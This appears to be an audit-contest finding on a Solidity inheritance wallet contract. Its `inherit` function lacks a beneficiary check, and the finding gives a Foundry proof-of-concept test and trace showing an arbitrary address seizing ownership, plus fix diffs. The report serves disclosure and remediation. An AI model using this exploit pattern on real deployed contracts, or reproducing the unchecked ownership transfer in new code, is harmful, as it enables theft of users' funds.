Submission Details
Severity:
Any one malicious can be owner of the wallet when there is only one beneficiary in `InheritanceManager::inherit` function.
Description
There is not any security checks for inheriting the wallet weather the person who is inheriting the wallet is beneficiary or not in `InheritanceManager::inherit` function. which lead to steal all the funds stored in the contract. If there is only one beneficiary assigned by the actual user there is bug in `InheritanceManager::inherit` function which allow any malicious user to get ownership of the contract by calling contract instead of beneficiary.
```javascript
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
@> owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
```
Impact
Any malicious user can take ownership of the wallet instead of beneficiary and steal all the funds or can do malicious activity.
Proof of Concept
Add this test function in `InheritanceManagerTest.t.sol` file.
Prrof Of Code :
```javascript
function testNotBenificieryCanBeOwner() public {
address user2 = makeAddr("user2");
address hacker = makeAddr("hacker");
vm.prank(owner);
im.addBeneficiery(user2);
vm.stopPrank();
vm.warp(im.getDeadline() + im.TIMELOCK() + 1);
vm.startPrank(hacker);
im.inherit();
vm.stopPrank();
console.log("The owner of the contract:", hacker);
assertEq(im.getOwner(), hacker);
}
```
The output console of foudry:
```diff
[PASS] testNotBenificieryCanBeOwner() (gas: 94149)
Logs:
The owner of the contract: 0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE
Traces:
[94149] InheritanceManagerTest::testNotBenificieryCanBeOwner()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802]
├─ [0] VM::label(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802], "user2")
│ └─ ← [Return]
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE]
├─ [0] VM::label(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], "hacker")
│ └─ ← [Return]
├─ [0] VM::prank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
│ └─ ← [Return]
├─ [69020] InheritanceManager::addBeneficiery(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [250] InheritanceManager::TIMELOCK() [staticcall]
│ └─ ← [Return] 7776000 [7.776e6]
├─ [292] InheritanceManager::getDeadline() [staticcall]
│ └─ ← [Return] 7776001 [7.776e6]
├─ [0] VM::warp(15552002 [1.555e7])
│ └─ ← [Return]
├─ [0] VM::startPrank(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE])
│ └─ ← [Return]
├─ [3672] InheritanceManager::inherit()
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] console::log("The owner of the contract:", hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE]) [staticcall]
│ └─ ← [Stop]
├─ [419] InheritanceManager::getOwner() [staticcall]
│ └─ ← [Return] hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE]
├─ [0] VM::assertEq(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE]) [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.41ms (319.39µs CPU time)
```
Recommended Mitigation
The function should only be called by the beneficiaries of the wallet. For that you have to implement the check weather caller is beneficiary or not.
```diff
function inherit() external {
+ if(!isBeneficiary[msg.sender]) {
+ revert();
+ }
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
+ owner = beneficiaries[0];
- owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
```
Where `isBeneficiary` is mapping returns the state weather caller is beneficiary or not.
Also add the mapping for `isBeneficiary` in the `InheritanceManager` contract.
```diff
+ mapping(address beneficiary => bool ok) isBeneficiary;
```
Another solution is to implement diffrent modifier to check that, Add this in the `InheritanceManager` contract.
```diff
+ modifier isBeneficiaries() {
+ require(isBeneficiary[msg.sender], "the caller is not beneficiary");
+ _;
+ }
```
also change the function as per down below.
```diff
+ function inherit() external isBeneficiaries {
- function inherit() external {
```
Updates
Lead Judging Commences
0xtimefliez 4 months ago
Submission Judgement Published Assigned finding tags:
Inherit depends on msg.sender so anyone can claim the contract
Rewards breakdown
nSLOC
211This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.